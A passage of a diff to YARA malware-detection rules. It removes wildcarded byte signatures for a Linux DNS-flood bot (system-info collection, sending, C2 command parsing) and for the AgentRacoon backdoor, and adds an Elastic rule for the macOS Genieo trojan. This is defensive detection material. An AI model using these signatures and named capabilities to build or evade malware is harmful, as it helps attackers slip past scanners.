-            D6 8B BC 24 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? F7 C7 ?? ?? ?? ?? 0F 85
-            ?? ?? ?? ?? 89 C1 C1 E9 ?? A8 ?? F3 A5 0F 85 ?? ?? ?? ?? A8 ?? 0F 85 ?? ?? ?? ?? 89
-            54 24 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ??
-            81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5E 5F 5D C3
-        }
-		$dns_flood_32_p1 = {
-            55 57 56 53 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? 8B
-            B4 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? F6 C3 ?? 89 DF 0F 85 ?? ?? ?? ?? 89 C1 C1 E9 ?? A8
-            ?? F3 A5 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8D B4 24 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ??
-            89 F7 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7
-            44 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2
-            C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? F7 35 ?? ?? ??
-            ?? 8B 04 95 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 C5 8D
-            44 24 ?? 89 44 24 ?? 89 2C 24 E8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 AB 8D 54 24 ??
-            89 14 24 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 5C 24 ?? 89 84 24 ??
-            ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 89 04 24 E8 ??
-            ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 14 24 89 74 24 ?? 89 54 24 ?? C6 84 24 ?? ?? ?? ??
-            ?? C6 84 24 ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ??
-            ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? 66 C7 84 24 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54
-        }
-		$dns_flood_32_p2 = {
-            24 ?? 89 D1 8B 39 83 C1 ?? 8D 87 ?? ?? ?? ?? F7 D7 21 F8 25 ?? ?? ?? ?? 74 ?? A9 ??
-            ?? ?? ?? 0F 84 ?? ?? ?? ?? 00 C0 89 D7 83 D9 ?? 29 D1 8D 84 0C ?? ?? ?? ?? 66 C7 00
-            ?? ?? 66 C7 40 ?? ?? ?? 8B 0F 83 C7 ?? 8D 81 ?? ?? ?? ?? F7 D1 21 C8 25 ?? ?? ?? ??
-            74 ?? A9 ?? ?? ?? ?? 75 ?? C1 E8 ?? 83 C7 ?? 00 C0 8D 44 24 ?? 83 DF ?? C7 44 24 ??
-            ?? ?? ?? ?? 29 D7 89 04 24 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 54 24 ?? 89 74
-            24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 89 14 24 66 89 84 24 ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 8D 94 24 ?? ?? ?? ?? 89 5C 24 ?? 89 14 24 E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ??
-            83 B8 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 83 C7 ?? 89 C2
-            C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 C7
-            44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? 89 2C 24 F7 35 ?? ?? ?? ??
-            8B 04 95 ?? ?? ?? ?? 8D 94 24 ?? ?? ?? ?? 89 54 24 ?? 89 44 24 ?? 8D 44 24 ?? 89 44
-            24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 83 80 ?? ?? ?? ?? ?? 83 90 ?? ?? ?? ?? ??
-            83 3D ?? ?? ?? ?? ?? 74 ?? C7 04 24 ?? ?? ?? ?? E8
-        }
-		$collect_system_information_64_p1 = {
-            41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ??
-            ?? ?? ?? 48 8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ??
-            ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ??
-            ?? 0F 31 48 89 D3 48 8D 7C 24 ?? 31 F6 48 C1 E3 ?? 89 C0 48 01 C3 E8 ?? ?? ?? ?? BF
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24 ?? 31 F6 48 C1 E5 ?? 89 C0 45
-            31 E4 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 44 24 ?? 48 29 DD 48 8B 54 24 ??
-            2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 48 8D AC 24 ?? ?? ?? ?? 69 C0 ?? ?? ?? ??
-            01 D0 F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ??
-            ?? ?? ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 05
-            ?? ?? ?? ?? BF ?? ?? ?? ?? 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE
-            ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3 48 AB
-        }
-		$collect_system_information_64_p2 = {
-            48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 54 24
-            ?? BE ?? ?? ?? ?? 48 89 DF 31 C0 C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 89 E0 B9
-            ?? ?? ?? ?? 48 89 DF F3 48 AB 8B 44 24 ?? BE ?? ?? ?? ?? 48 89 DF 8D 90 ?? ?? ?? ??
-            85 C0 0F 49 D0 31 C0 C1 FA ?? 89 54 24 ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 89 DE BF
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 15 ?? ?? ?? ?? BE ??
-            ?? ?? ?? BF ?? ?? ?? ?? 41 89 C5 E8 ?? ?? ?? ?? 4C 89 E0 B9 ?? ?? ?? ?? 48 89 EF F3
-            48 AB 48 89 DF 48 89 DA 48 89 EE B1 ?? F3 48 AB BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 45 85
-            ED 75 ?? BA ?? ?? ?? ?? 48 89 DE BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 3D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ?? ?? ?? ?? BF
-            ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 7C 24 ?? 31 C9
-            BA ?? ?? ?? ?? 31 F6 E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D C3
-        }
-		$send_system_info_64 = {
-            55 53 48 81 EC ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48
-            8D 4C 24 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? BE ??
-            ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D3 31 F6 48 89 E7 48 C1 E3 ?? 89
-            C0 48 01 C3 E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 31 48 89 D5 48 8D 7C 24
-            ?? 31 F6 89 C0 48 C1 E5 ?? 48 01 C5 E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 2B 04 24 48 29
-            DD 48 8B 54 24 ?? 2B 54 24 ?? BF ?? ?? ?? ?? F2 48 0F 2A C5 69 C0 ?? ?? ?? ?? 01 D0
-            F2 0F 2A C8 F2 0F 5E C1 F2 0F 2C D8 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C1 BE ?? ?? ??
-            ?? BF ?? ?? ?? ?? 31 C0 41 89 D8 E8 ?? ?? ?? ?? 48 8B 0D ?? ?? ?? ?? BA ?? ?? ?? ??
-            BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? BA ?? ?? ?? ??
-            BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5B 5D C3
-        }
-		$parse_c2_commands_64 = {
-            41 57 31 C0 49 89 FF B9 ?? ?? ?? ?? 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48
-            8D 9C 24 ?? ?? ?? ?? 40 88 B4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D A4 24 ??
-            ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 DF F3 48 AB C7 07 ?? ?? ?? ?? BF ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 48 8D 43 ?? 48 89 84 24 ?? ?? ?? ?? 0F 1F 00 8B 3D ?? ?? ?? ?? 31 C9
-            BA ?? ?? ?? ?? 48 89 DE E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B B4 24 ?? ??
-            ?? ?? 45 85 F6 0F 84 ?? ?? ?? ?? 31 C0 44 89 F6 BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 84
-            24 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ??
-            ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ??
-            ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 84 ?? ?? ?? ?? 41 83 FE ?? 0F 85
-            ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? F3 48 AB 48 8B 84 24 ?? ??
-            ?? ?? 4C 8B 9C 24 ?? ?? ?? ?? 4C 8B 94 24 ?? ?? ?? ?? 4C 8B 8C 24 ?? ?? ?? ?? 4C 8B
-            84 24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? C7 07 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ??
-            48 8B 84 24 ?? ?? ?? ?? 48 8B BC 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B 94 24
-            ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ??
-            48 8B AC 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 84 24
-            ?? ?? ?? ?? 4C 89 9C 24 ?? ?? ?? ?? 4C 89 94 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ??
-            4C 89 84 24 ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24
-            ?? ?? ?? ?? 48 89 94 24 ?? ?? ?? ?? 4C 89 B4 24 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ??
-            4C 89 A4 24 ?? ?? ?? ?? 48 89 AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24
-            ?? ?? ?? ?? 49 89 57 ?? 48 8B 94 24 ?? ?? ?? ?? 49 89 77 ?? 48 8D B4 24
-        }
-		$dns_flood_64_p1 = {
-            41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 49 89
-            FC BB ?? ?? ?? ?? 48 8D 7C 24 ?? 48 89 D9 4C 89 E6 48 8D AC 24 ?? ?? ?? ?? F3 48 A5
-            8B 06 48 89 CB 89 07 0F B7 46 ?? 8B 35 ?? ?? ?? ?? 66 89 47 ?? BF ?? ?? ?? ?? 31 C0
-            E8 ?? ?? ?? ?? 48 C7 04 24 ?? ?? ?? ?? 48 C7 44 24 ?? ?? ?? ?? ?? 66 C7 04 24 ?? ??
-            66 C7 44 24 ?? ?? ?? E8 ?? ?? ?? ?? 31 D2 BE ?? ?? ?? ?? BF ?? ?? ?? ?? F7 35 ?? ??
-            ?? ?? 89 D2 8B 04 95 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 48 89 E6 89 C7 41 89 C5 E8 ?? ?? ?? ?? 48 89 D8 B9 ?? ?? ?? ?? 48 89 EF F3 48
-            AB 48 8D 7C 24 ?? BE ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ??
-            48 8D 7D ?? 48 8D 74 24 ?? 89 84 24 ?? ?? ?? ?? 0F B7 44 24 ?? 66 89 84 24 ?? ?? 00
-            00 E8 ?? ?? ?? ?? 48 89 EE 48 89 DF C6 84 24 ?? ?? ?? ?? ?? C6 84 24
-        }
-		$dns_flood_64_p2 = {
-            66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? 66 C7 84 24 ?? ?? 00 00
-            ?? ?? 66 C7 84 24 ?? ?? 00 00 ?? ?? E8 ?? ?? ?? ?? 48 89 D9 8B 01 48 83 C1 ?? 8D 90
-            ?? ?? ?? ?? F7 D0 21 C2 81 E2 ?? ?? ?? ?? 74 ?? 89 D0 C1 E8 ?? F7 C2 ?? ?? ?? ?? 0F
-            44 D0 48 8D 41 ?? 48 0F 44 C8 00 D2 48 83 D9 ?? 48 29 D9 48 8D 84 0C ?? ?? ?? ?? 48
-            8D 8C 24 ?? ?? ?? ?? 66 C7 00 ?? ?? 66 C7 40 ?? ?? ?? 48 89 CB 8B 13 48 83 C3 ?? 8D
-            82 ?? ?? ?? ?? F7 D2 21 D0 25 ?? ?? ?? ?? 74 ?? 89 C2 48 8D 7C 24 ?? BE ?? ?? ?? ??
-            C1 EA ?? A9 ?? ?? ?? ?? 0F 44 C2 48 8D 53 ?? 48 0F 44 DA 00 C0 48 83 DB ?? 48 29 CB
-            E8 ?? ?? ?? ?? 8B 44 24 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 EE 89 84 24 ?? ?? ?? ?? 0F
-            B7 44 24 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 7D ?? 48 8D 74 24 ?? E8 ??
-            ?? ?? ?? 41 83 BC 24 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 C2 B9 ?? ??
-            ?? ?? 83 C3 ?? C1 FA ?? F7 F9 8D 42 ?? 66 C1 C8 ?? 66 89 84 24 ?? ?? 00 00 E8 ?? ??
-            ?? ?? 31 D2 48 8D B4 24 ?? ?? ?? ?? 31 C9 F7 35 ?? ?? ?? ?? 41 B9 ?? ?? ?? ?? 49 89
-            E0 44 89 EF 89 D2 8B 04 95 ?? ?? ?? ?? 48 63 D3 89 44 24 ?? E8 ?? ?? ?? ?? 49 83 84
-            24 ?? ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? 74 ?? BF ?? ?? ?? ?? E8
-        }
+		$a = { FF FF FF FF 88 DB A2 31 03 A3 5A 5C 9A 19 0E DB }
 
 	condition:
-		uint32(0)==0x464C457F and ((( all of ($collect_system_information_32_p*)) and ($send_system_info_32) and ($parse_c2_commands_32) and ( all of ($dns_flood_32_p*))) or (( all of ($collect_system_information_64_p*)) and ($send_system_info_64) and ($parse_c2_commands_64) and ( all of ($dns_flood_64_p*))))
+		all of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Agentracoon : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Macos_Trojan_Genieo_5E0F8980 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects AgentRacoon backdoor."
-		author = "ReversingLabs"
-		id = "ad74d530-ffbd-589f-b941-3a5d9ec737b6"
-		date = "2023-12-15"
-		modified = "2023-12-15"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/ByteCode.MSIL.Backdoor.AgentRacoon.yara#L1-L128"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "3ba73f19f59c2e5880df820c52f16997047d7299eb14d421ae2ed8f3790bcfe9"
+		description = "Detects Macos Trojan Genieo (MacOS.Trojan.Genieo)"
+		author = "Elastic Security"
+		id = "5e0f8980-1789-4763-9e41-a521bdb3ff34"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Genieo.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6c698bac178892dfe03624905256a7d9abe468121163d7507cade48cf2131170"
+		logic_hash = "76b725f6ae5755bb00d384ef2ae1511789487257d8bb7cb61b893226f03a803e"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "AgentRacoon"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "f0b5198ce85d19889052a7e33fb7cf32a7725c4fdb384ffa7d60d209a7157092"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
 
 	strings:
-		$unpack_response_p1 = {
-            17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 18 91 9C 11 ?? 73 ?? ?? ?? ?? 0A 06 16 6F ?? ??
-            ?? ?? 2D ?? 73 ?? ?? ?? ?? 7A 17 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 19 91 9C 11 ?? 73
-            ?? ?? ?? ?? 0A 06 1A 6F ?? ?? ?? ?? 2C ?? 06 1B 6F ?? ?? ?? ?? 2C ?? 06 1C 6F ?? ??
-            ?? ?? 2C ?? 06 1D 6F ?? ?? ?? ?? 2C ?? 73 ?? ?? ?? ?? 7A 1F ?? 0B 2B ?? 07 17 58 0B
-            03 07 91 2D ?? 07 17 58 0B 03 8E 69 07 59 0C 08 8D ?? ?? ?? ?? 0D 03 07 09 16 08 28
-            ?? ?? ?? ?? 1A 13 ?? 2B ?? 11 ?? 17 58 13 ?? 09 11 ?? 91 2D ?? 11 ?? 17 58 13 ?? 09
-            8E 69 11 ?? 59 0C 08 8D ?? ?? ?? ?? 13 ?? 09 11 ?? 11 ?? 16 08 28 ?? ?? ?? ?? 02 12
-            ?? FE 15 ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ??
-            7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ??
-            ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ??
-            ?? 12 ?? 07 1F ?? 59 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ??
-            ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 11 ?? 1A 59 8D ?? ?? ?? ?? 7D ??
-            ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ??
-            ?? 12 ?? 1A 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 12 ?? 18 8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11
-            ?? 7D ?? ?? ?? ?? 03 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 18
-        }
-		$unpack_response_p2 = {
-            02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1A 02 7C ?? ?? ?? ?? 7B ??
-            ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1C 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ??
-            ?? ?? 03 1E 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ??
-            ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 03 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ??
-            ?? 16 07 1F ?? 59 28 ?? ?? ?? ?? 09 16 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ??
-            ?? ?? ?? 09 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 09 1A 02 7C ??
-            ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ?? 1A 59 28 ?? ?? ?? ?? 11 ?? 16 02 7C ?? ?? ?? ?? 7B
-            ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 11 ?? 18 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28
-            ?? ?? ?? ?? 11 ?? 1A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 1A 28 ?? ?? ?? ?? 11 ?? 1E
-            02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 18 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 02 7C ??
-            ?? ?? ?? 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 11 ?? 1F ?? 91 13 ?? 02 7C ?? ?? ?? ?? 11 ??
-            8D ?? ?? ?? ?? 7D ?? ?? ?? ?? 11 ?? 1F ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 16 11 ??
-            28 ?? ?? ?? ?? 2A
-        }
-		$upload = {
-            28 ?? ?? ?? ?? 0A 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 2D ?? DD ?? ?? ?? ?? 16 0B 38 ??
-            ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 06 02 7C ?? ?? ?? ??
-            7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 08 28 ?? ?? ?? ?? 02 7C ?? ?? ?? ??
-            7B ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 72 ?? ?? ?? ?? A2 11 ?? 17 02 7C ??
-            ?? ?? ?? 7B ?? ?? ?? ?? 07 6F ?? ?? ?? ?? A2 11 ?? 18 72 ?? ?? ?? ?? A2 11 ?? ?? 06
-            A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ??
-            7B ?? ?? ?? ?? 07 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 07
-            14 6F ?? ?? ?? ?? 07 17 58 0B 07 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 3F
-            ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ?? ?? ?? ?? 7D ?? ?? ?? ?? 02 7C ?? ?? ?? ?? 73 ??
-            ?? ?? ?? 7D ?? ?? ?? ?? DE 23 0D 02 7C ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09
-            6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 2A
-        }
-		$perform_request = {
-            05 6F ?? ?? ?? ?? 0A 06 04 3D ?? ?? ?? ?? 06 04 19 5B 18 5A 3F ?? ?? ?? ?? 05 16 06
-            19 5B 6F ?? ?? ?? ?? 0B 05 06 19 5B 06 19 5B 6F ?? ?? ?? ?? 0C 05 06 19 5B 18 5A 6F
-            ?? ?? ?? ?? 0D 02 07 28 ?? ?? ?? ?? 0B 02 08 28 ?? ?? ?? ?? 0C 02 09 28 ?? ?? ?? ??
-            0D 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 07
-            A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 08 A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 09
-            A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 28 ?? ?? ?? ?? A2 11 ?? 1F ?? 72 ?? ?? ??
-            ?? A2 11 ?? 1F ?? 02 7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 38 ?? ?? ?? ?? 06
-            04 19 5B 18 5A 3D ?? ?? ?? ?? 06 04 19 5B 3F ?? ?? ?? ?? 05 16 06 18 5B 6F ?? ?? ??
-            ?? 13 ?? 05 06 18 5B 6F ?? ?? ?? ?? 13 ?? 02 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 11 ?? 28
-            ?? ?? ?? ?? 13 ?? 1F ?? 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ??
-            A2 11 ?? 18 11 ?? A2 11 ?? 19 72 ?? ?? ?? ?? A2 11 ?? 1A 11 ?? A2 11 ?? 1B 72 ?? ??
-            ?? ?? A2 11 ?? 1C 02 28 ?? ?? ?? ?? A2 11 ?? 1D 72 ?? ?? ?? ?? A2 11 ?? 1E 02 7B ??
-            ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 2B ?? 02 05 28 ?? ?? ?? ?? 13 ?? 1D 8D ?? ??
-            ?? ?? 13 ?? 11 ?? 16 03 A2 11 ?? 17 72 ?? ?? ?? ?? A2 11 ?? 18 11 ?? A2 11 ?? 19 72
-            ?? ?? ?? ?? A2 11 ?? 1A 02 28 ?? ?? ?? ?? A2 11 ?? 1B 72 ?? ?? ?? ?? A2 11 ?? 1C 02
-            7B ?? ?? ?? ?? A2 11 ?? 28 ?? ?? ?? ?? 10 ?? 05 2A
-        }
-		$get_txt_record = {
-            14 0A 03 73 ?? ?? ?? ?? 0B 07 6F ?? ?? ?? ?? 0C 7E ?? ?? ?? ?? 1F ?? 73 ?? ?? ?? ??
-            0D 09 08 08 8E 69 6F ?? ?? ?? ?? 26 09 6F ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            09 12 ?? 6F ?? ?? ?? ?? 13 ?? 09 6F ?? ?? ?? ?? 07 11 ?? 6F ?? ?? ?? ?? 07 6F ?? ??
-            ?? ?? 13 ?? 28 ?? ?? ?? ?? 12 ?? 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? DE ?? 26 72 ??
-            ?? ?? ?? 13 ?? DE ?? 11 ?? 2A
-        }
-		$main_loop = {
-            73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ??
-            ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 18 16 16 6F ?? ?? ?? ?? 0A 06 28
-            ?? ?? ?? ?? 2D ?? 2A 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 2A 7E ?? ??
-            ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 07 6F ?? ?? ??
